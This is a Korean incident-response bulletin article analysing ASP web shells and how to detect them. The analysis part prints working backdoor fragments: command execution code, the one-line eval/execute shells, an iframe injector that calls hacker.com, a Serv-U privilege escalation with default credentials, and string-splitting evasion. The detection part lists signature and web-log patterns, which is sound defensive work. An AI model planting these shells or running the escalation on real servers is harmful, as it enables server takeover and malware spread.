3. ASP 웹쉘상세분석및탐지방안 1. 개요 가. 웹쉘이란? 웹쉘이란공격자가원격에서대상웹서버에명령을수행할수있도록작성한웹스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc 와같은데이터파일종류이외에악의적으로제작된스크립트파일인웹쉘을업로드하여웹서버를해킹하는사고가빈번히발생하고있다. 최근에는파일업로드뿐만아니라 SQL Injection 과같은웹취약점을공격한후지속적으로피해시스템을관리할목적으로웹쉘을생성한다. 공격자는웹쉘을대상서버에업로드한후웹을이용하여시스템명령어를수행하므로네트워크방화벽영향을받지않고서버를제어할수있다. 웹쉘은웹페이지소스코드열람, 악성스크립트 (iframe 등 ) 삽입, 파일업로드, 서버및데이터베이스자료유출등의다양한공격이가능하다. 최근웹쉘은탐지를어렵게하기위해웹쉘의일부분만을피해시스템에업로드하는등그유형이나날이발전하고있다. 나. 웹쉘의위험성 2007 년도인터넷침해사고대응지원센터 (www.krcert.or.kr) 에서한해동안분석했던피해웹서버중웹쉘이발견된웹서버는총 91% 의분포를보였다. 이것은공격자들이취약점을공격한후웹쉘을업로드하여시스템을통제하기가수월하다보니사용빈도가높은것을확인할수있다. 웹취약점을통해피해시스템에접근한공격자는방화벽에서접근을허용하는 HTTP (80/tcp) 서비스를통해피해시스템을제어하므로웹쉘을차단하기가쉽지않다. 피해시스템에서수집된 ASP 웹쉘샘플한개를 http://www.virustotal.com 사이트에서각바이러스백신엔진탐지결과를확인하였다. 아래그림과같이많은국내외백신사에서탐지못하고있으며공격자들은스크립트웹쉘들을빈번히변경시켜사용하기때문에백신들로서는탐지하기가쉽지않다. 22
[ 그림 ] 웹쉘백신탐지결과 또한일반적인서버관리자들은해킹여부를확인하기힘들고피해를인지하더라도관리자들이주로사용하는백신프로그램에서웹쉘탐지가안되므로웹쉘을찾기가쉽지않다. 관리자들이해킹피해를인지하고시스템을재설치하더라도이전에웹쉘이업로드되어있는소스그대로새롭게설치한시스템에복사하여사용하기때문에지속적으로웹쉘을관리하는공격자에게피해를입게된다. 다. 웹쉘최신동향 o 인증된공격자만사용가능하도록패스워드를입력받거나, 특정세션값으로세팅해야만기능들을사용할수있는웹쉘들이많다. [ 그림 ] 웹쉘사용자인증 Part 3 월간특집 23 2008 년 5 월호
o ASP 의 eval, execute 메소드등은원격에있는공격자로부터웹쉘실행코드를전달받아실행하는데많이이용되고있다. 이같은 Eval, Execute 코드는정상적인스크립트파일에도삽입이가능해웹쉘탐지가더욱어려워지고있다. o 최근각백신사, 관리자들에의해웹쉘탐지가늘어공격자들은여러기능을하는웹쉘코드를각기능별로웹쉘들을분리하여사용하고있다. 그중파일생성기능, DB 쿼리기능을하는웹쉘파일들이빈번하게발견되고있다. o ASP 스크립트의경우웹소스를보호하기위해인코딩하는 Script Encoder 를제공하고있다. 이러한인코더를악용하여웹쉘을인코딩하고백신탐지를우회하고있다. o 공격자들은웹쉘이업로드되어있는피해시스템웹쉘 URL 을관리하기위해관리프로그램들을사용하고있다. 중국해커들은아래와같은관리프로그램을개발하여자신들이장악했던피해사이트들을체계적으로관리하고있다. [ 그림 ] 웹쉘관리프로그램 2. ASP 웹쉘상세분석최근국내에서발생하고있는피해시스템웹서버대부분은윈도우가차지하고있다. 윈도우, IIS, ASP 환경의사이트들이특히 SQL Injection 공격에취약할경우이러한취약점을이용하는자동화공격도구들로인해쉽게악성코드유포지, 경유지로악용되고있다. 이러한윈도우피해시스템을공격하는데많이사용되는 ASP 웹쉘의기능과동향에대해상세히살펴보도록하겠다. 24
가. 각기능별웹쉘분석 명령어및각종어플리케이션실행 ASP 웹쉘에서는윈도우에서시스템명령어나외부프로그램을실행하기위해 Wscript.Shell, Shell.Application 오브젝트를이용한다. Wscript.Shell 오브젝트는메소드 Run, Exec 를이용하여시스템명령어및외부프로그램을실행할수있다. o Wscript.Shell - Run (cmd, 0, True) - Exec (cmd) Set WshShell = Server.CreateObject ( WScript.Shell ) Call WshShell.Run (cmd, 0, True) Set WshShell = CreateObject ( WScript.Shell ) Set oexec = WshShell.Exec (cmd) 시스템명령어또는프로그램을실행할수있는또다른방법은 Shell.Application 오브젝트의 ShellExecute 메소드를이용하는것이다. o Shell.Application - Shellexecute Application, Argument, Path,, 1 set objshell = CreateObject( Shell.Application ) objshell.shellexecute notepad.exe,,, open, 1 파일조작파일관련조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를사용한다. 이중에서 Scripting.FileSystemObject, Adodb.Stream 을이용한파일조작방법에대해살펴보도록하겠다. o Scripting.FileSystemObject - 파일리스팅 Set fso = CreateObject( Scripting.FileSystemObject ) Set f = fso.getfolder(folderpath) Set fp = f.files For Each f1 in fp s = s & f1.name Next - 파일보기 fso 는 Scripting.FileSystemObject 로생성한오브젝트이다. Set f = fso.opentextfile( c:\testfile.txt ) ra = f.readall Part 3 월간특집 25 2008 년 5 월호
- 파일생성및수정 Set MyFile = fso.createtextfile( c:\testfile.txt, True) MyFile.Write Contents - 파일이동및삭제 fso.copyfile Path1, Path2 fso.copyfolder Path1, Path2 fso.deletefile Path fso.deletefolder Path 파일다운로드 o Adodb.Stream Set stream = Server.CreateObject Adodb.Stream ) stream.open stream.type = 1 stream.loadfromfile(path) Response.AddHeader Content-Disposition, attachment; filename= & FileName Response.AddHeader Content-Length, stream.size Response.Charset = UTF-8 Response.ContentType = application/octet-stream Response.BinaryWrite stream.read Response.Flush stream.close Set stream = Nothing 파일업로드 Adodb.Stream 오브젝트를이용하여파일을업로드한다. 관련메소드들은아래와같다. 구현예제코드생략 o Adodb.Stream - Write - Read - SaveToFile 웹페이지들에악성스크립트삽입기능웹쉘에서는악성코드를유포하기위해각 html 파일들이나스크립트파일에악성스크립트 (iframe) 를삽입하는기능이있다. o 정규표현식으로아래와같이악성스크립트를삽입할파일명을정의한다. default, index main 등홈페이지메인페이지이름을갖는 html 파일들이나스크립트파일들을정규표현식으로찾는다. - (\\ \/)(default index main admin)\.(htm html asp php jsp aspx)\b 26
o 그리고아래와같은 iframe 악성스크립트코드를삽입한다. - <iframe src=http://hacker.com/m.htm width=0 height=0></iframe> 정규표현식으로파일이름을검사하여메인페이지를찾는다. Set regex=new RegExp regex.pattern= (\\ \/)(default index main admin)\.(htm html asp php jsp aspx)\b regex.ignorecase=true retval=regex.test(path) 위정규표현식으로검색된파일의끝에 iframe 코드를삽입한다. Set fs=server.createobject( Scripting.FileSystemObject ) Set f=fs.getfile(path) Set f_addcode=f.openastextstream(8,-2) // 포인터는파일끝으로이동하고쓰기모드로연다 f_addcode.write <iframe src=http://hacker.com/m.htm width=0 height=0></iframe> f_addcode.close 데이터베이스열람및조작데이터베이스에접속하기위해서는 Adodb.Connection 오브젝트를사용하고아래와같은메소드를이용하여데이터베이스연결및 SQL 쿼리문들을실행할수있다. Set Con = Server.CreateObject( Adodb.Connection ) Con.Open Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD SQL = SELECT * FROM table Set RS = Con.Execute(SQL) 레지스트리조작윈도우는모든시스템구성정보나사용자설정정보를레지스트리에저장한다. 웹쉘에서는아래와같은 Wscript.Shell 오브젝트와관련메소드를이용하여레지스트리확인및조작한다. 구현예제코드생략 o Wscript.Shell - RegRead - RegWrite - RegDelete 웹쉘에서참조하는레지스트리값들은아래와같다. - 터미널서비스포트, PortNumber 키값변경 HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\ - 윈도우자동으로로그인키값 (autoadminlogon) 이설정되어있는경우디폴트사용자이름 (DefaultUserName) 과패스워드 (DefaultPassword) 를확인 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ - 컴퓨터이름확인 HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName Part 3 월간특집 27 2008 년 5 월호
- 익명사용자접속여부및공유정보확인 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha rednetdrives - 보안필터링및포워딩여부확인 HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter - 네트워크카드정보확인 HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind 시스템정보확인웹쉘에서 GetObject 메소드를이용해서비스와사용자장보를확인한다. o 서비스확인 Set ComputerObj = GetObject( WinNT://MYCOMPUTER ) ComputerObj.Filter = Array( Service ) For Each Service in ComputerObj WScript.Echo Service display name = & Service.DisplayName WScript.Echo Service account name = & Service.ServiceAccountName WScript.Echo Service executable = & Service.Path WScript.Echo Current status = & Service.Status Next o 사용자정보확인 Set objcomputer = GetObject( WinNT://. ) objcomputer.filter = Array( User ) For Each objuser in objcomputer WScript.Echo objuser.name Next 28
어플리케이션취약점을통한로컬권한상승 웹에서실행되는모든파일들은기본적으로인터넷게스트계정으로으로실행된다. 웹쉘은이러한제한된권한을관리자권한으로상승시키기위해취약점있는 Serv-U 프로그램을이용한다. Serv-U 3.x ~ 5.x 는로컬권한상승취약점이있으며이를이용하여새로운관리자계정을생성할수있다. 취약점을공격하는과정은아래와같다. o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드및실행 (TzoLibr.dll 필요 ) o Serv-U 디폴트아이피 / 포트 (127.0.0.1/43958) 로접속후 o Serv-U 디폴트관리아이디 / 패스워드로로그인 - USER LocalAdministrator ( 디폴트아이디 ) - PASS #l@$ak#.lk;0@p ( 디폴트패스워드 ) o Serv-U 에신규도메인생성 o Serv-U 명령어실행에필요한 Serv-U 사용자추가 o SITE EXEC Serv-U 내부스크립트를통한시스템명령어수행 set a=server.createobject( Microsoft.XMLHTTP ) a.open GET, http://127.0.0.1: & port & /goldsun/upadmin/s1,true,, a.send loginuser & loginpass & SITE MAINTENANCE & deldomain & newdomain & newuser & quit set session( a )=a set b=server.createobject( Microsoft.XMLHTTP ) b.open GET, http://127.0.0.1: & ftpport & /goldsun/upadmin/s2, True,, b.send User go & vbcrlf & pass od & vbcrlf & SITE EXEC & cmd & vbcrlf & quit set session( b )=b 나. 스크립트인코딩마이크로소프트社의윈도우스크립트는 Script Encoder를제공하여일반사용자들이스크립트내용을확인하는게쉽지않도록하고있다. 하지만웹쉘을업로드한공격자가이러한기능을악용하여관리자가웹쉘을쉽게찾지못하도록백신탐지를우회하는데이용하고있다. http://msdn2.microsoft.com/en-us/library/cbfz3598(vs.85).aspx Script Encoder 는콘솔모드에서명령어라인으로실행되며다음과같이사용한다. SCRENC [switches] inputfile outputfile 일반 asp 스크립트를인코딩하면아래와같은결과가된다. 일반소스 인코딩소스 <script language= VBScript > <% This is test %> </script> <%@ LANGUAGE = VBScript.Encode %> <script language= VBScript > <%#@~^FAAAAA==@#@&K4b/,k/,Y dy @#@&ogqaaa==^#~@%> </script> Part 3 월간특집 29 2008 년 5 월호
최근에발견되는웹쉘들은위에서처럼 VBScript.Encode 로인코딩되어있는것들이상당히많다. 이러한인코딩방법은아래와같은사이트에서제공되는소스와프로그램으로디코딩할수있다. http://www.virtualconspiracy.com/content/scrdec/download - scrdec18.exe - scrdec18.c scrdec18 <infile> <outfile> [-cp codepage] [-urldec -htmldec] [-verbose] [-dumb] [ 그림 ] scrdec18 프로그램을이용한디코딩 다. 짧은웹쉘 ASP 웹쉘중 eval, execute 메소드를이용하여공격자로부터웹쉘코드를전달받아실행하는짧은소스코드들이있다. 이같이짧은소스코드가정상적인소스에삽입되어실행되는경우도있으므로관리자들의각별한주의가필요하다. - eval (expression) : eval 함수는 expression으로정의된코드를평가하여결과 (True, False) 를알려준다. - execute (expression) : execute 함수는 expression으로정의된코드를실행하여결과를알려준다. eval, execute 메소드를이용한웹쉘구동방법은아래개요도처럼, 먼저공격자는피해시스템에웹쉘코드를보내는 html 폼 (2006_lite.asp.html) 을준비하고그폼에웹쉘코드를넣어피해시스템웹쉘 (server.asp) 에전송한다. 피해시스템에서는웹쉘코드를전달받아 execute, eval 메소드로실행하고 execute 메소드는결과를공격자에게전달해준다. (eval 메소드는코드를실행하고결과에대한 True, False 만을알려주므로적절한결과를공격자에게알려주지는못한다 ) 30
eval 코드 [ 그림 ] execute, eval 코드를이용한웹쉘실행방법 다음은피해시스템에서발견된 eval 코드유형이며아래와같이한줄, 짧은코드로이루어진다. - <%eval request( l )%> - <%eval(request( # ))%> execute 코드다음은피해시스템에서발견된 execute 코드유형이다. - <%execute request( l )%> - <%If Request( # )<> Then Execute(Request( # ))%> execute 세션유지용코드 execute 메소드를이용한짧은코드의경우공격자가실행하기원하는코드를위개요도그림처럼매번전송해주어야하는번거로움이있다. 그래서공격자들은한번넘겨준코드를실행한결과를세션으로연결하여다음에는코드를넘겨줄필요없이실행결과에서다음메뉴로넘어갈수있도록하였다. <script language= vbscript runat= server > If Request( asdf )<> Then Session( 조직킬러 )=Request( asdf ) If Session( 조직킬러 )<> Then Execute(Session( 조직킬러 )) </script> Part 3 월간특집 31 2008 년 5 월호
라. 기타 문자열분리를이용한탐지우회기능 최근바이러스백신이나서버관리자들이웹쉘시그니쳐를통해웹쉘탐지가많아지자공격자들은시그니쳐로이용되는문자열 ( 오브젝트명 ) 들을분산시켜탐지를우회하고있다. - Shell.Application 문자열을연결하는 & 연산자를이용하고값이주어지지않은변수 x를이용해아래와같이 Shell.Application 문자열을분리한다. Set sa = Server.CreateObject( She &x& ll.appl &x& ication ) She &x& ll.appl &x& ication => Shell.Application - WScript.Shell Set ws = Server.CreateObject( WScr &x& ipt.shell ) 파일생성웹쉘 Scripting.FileSystemObject 오브젝트를이용하여새로운파일을생성하는기능을앞서살펴보았다. 최근정상적인스크립트들에서도사용하는 CreateTextFile, Write 메소드를이용하여단지파일만생성하는웹쉘들이증가하고있다. 이러한웹쉘은정상적인스크립트에서사용하는오브젝트와메소드를사용하므로탐지하기가쉽지않다. 또한이러한웹쉘들은앞서설명한다양한기능을가지는웹쉘을얼마든지생성할수가있어관리자들의주의가필요하다. [ 그림 ] 파일생성웹쉘화면 32
3. 탐지방안 가. 웹쉘시그니쳐를이용한파일검색 시그니쳐 웹쉘은시스템명령어를수행하거나파일을조작하기위해관련된오브젝트, Wscript.Shell, Shell.Application 등을주로사용하게된다. 하지만이러한오브젝트는정상적인스크립트코드에서는사용하지않는것들로웹쉘탐지를위한시그니쳐로지정하여웹쉘을탐지하는데이용할수있다. 이렇게시그니쳐로지정할만한문자열들을찾아본결과다음과같았다. - Wscript.Shell, Shell.Application 과같은시스템에접근할수있는오브젝트나메소드 - 인코딩된파일에삽입된헤더문자열 VBScript.Encode - 중국어간체 gb2312 - 시스템명령에필요한문자열 cmd.exe - 정상적인스크립트에서흔히사용되지않는 eval, execute 함수등 cmd\.exe Wscript\.Shell Shell\.Application VBScript\.Encode gb2312 execute *\(? *session execute *\(? *request eval *\(? *request \.run.*> \.exec *\( webshell lake2 hack520 lcxmarcos Marcos findstr 명령어를활용한탐지방법 findstr 이라는명령어는지정된파일들에서찾고자하는특정문자열들을검색할수있도록도와준다. 위에서정의된시그니쳐들을파일 (asp.sig) 로지정하고사이트홈디렉터리에서아래의예처럼실행해보기바란다. findstr /i /r /s /g:asp.sig *.asp - i : 대소문자구분없이검색 - g : 지정된파일에서검색문자열을받음 - r : 정규표현식사용 - s : 모든하위디렉터리검색 최근공격자들이웹쉘확장자를.cer,.asa, cdx, hta 로변경하여파일을업로드하는경우가있다.( 파일업로드우회공격 ) 반드시검사확장자를 asp 뿐만아니라스크립트로실행되도록지정된.asa,.cer 등도반드시함께검색하도록해야한다. Part 3 월간특집 33 2008 년 5 월호
[ 그림 ] 검사대상확장명 나. 웹쉘로그시그니쳐를이용한웹로그검색 시그니쳐 최근대부분의웹쉘들은 POST 방식으로관련데이터들을전송하기때문에웹로그에서웹쉘이실행된흔적을찾기가쉽지않다. 하지만많은웹쉘들은실행할메뉴들을 GET 방식으로전달하여이러한로그들을대상으로시그니쳐를추출할수있었다. 아래 8.0.asp 웹쉘에서시스템명령어수행하는메뉴를실행하면아래와같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을하게되어 Action=Cmd1Shell 이라는고유의시그니쳐를얻을수있다. ex) http://victim.com/webshell/8.0.asp?action=cmd1shell 인터넷침해사고대응지원센터에서피해시스템에서수집된웹쉘을테스트하고아래와같이웹쉘실행여부를확인할수있는시그니쳐를추출하였다. Action=MainMenu Action=Show1File Action=EditFile Action=DbManager Action=getTerminalInfo Action=ServerInfo Action=Servu Action=kmuma Action=kmuma&act=scan Action=Cplgm&M=2 Action=plgm Action=PageAddToMdb 34
Action=ReadREG Action=ScanPort Action=Cmd1Shell Action=UpFile (pagename id list action act)=servicelist (pagename id list action act)=servicelist (pagename id list action act)=infoaboutsrv (pagename id list action act)=objonsrv (pagename id list action act)=userlist (pagename id list action act)=wscmdrun (pagename id list action act)=sacmdrun (pagename id list action act)=sacmdrun&theact (pagename id list action act)=fsofileexplorer (pagename id list action act)=fsofileexplorer&theact (pagename id list action act)=fsofileexplorer&thepath pagename=msdatabase pagename=msdatabase&theact=showtables pagename=txtsearcher pagename=othertools act=scan Action=mainwin action=listtb action=listvw action=listdb action=execsql action=dbsrcbox action=searchfile action=xpcmdshell (action act)=cmdshell action=mainmenu action=showfile action=editfile action=course action=serverinfo action=upfile action=dbmanager ex=edit&pth= PageName=PageUpload&theAct PageName=PageWebProxy&url= productname=higroupaspadmin PageWebProxy Part 3 월간특집 35 2008 년 5 월호
action=cmd action=clonetime&src= action=sqlrootkit action=reg action=data action=goto&src=c:\ action=upfile&src= action=new&src= act=info act=filemanage act=edit&src= act=del&src= act=rename&src= DirName= Type=.*FileName=.*\ Type=.*ok=dir FsoFileExplorer WsCmdRun SaCmdRun MsDataBase HigroupASPAdmin =cmd ClonETiMe SqLrOotKIt 4. 결론관리하는서버에서웹쉘이탐지되었다면시스템에웹쉘을생성할수있었던취약점이존재할것이다. 웹쉘이업로드된피해시스템을분석한결과대부분파일업로드, SQL Injection과같은어플리케이션취약점으로웹쉘이생성되는것으로확인되었다. 웹쉘을탐지해서제거하는것도중요하지만웹쉘을생성할수있었던근본적인취약점을찾아내어패치하는것도관리자들이꼭 ~! 잊지않고해야될작업일것이다. 앞서탐지방법에서제공한시그니쳐들은오탐이발생할수있으므로반드시이보고서에서설명한기능을갖는웹쉘인지확인후삭제해야한다. 36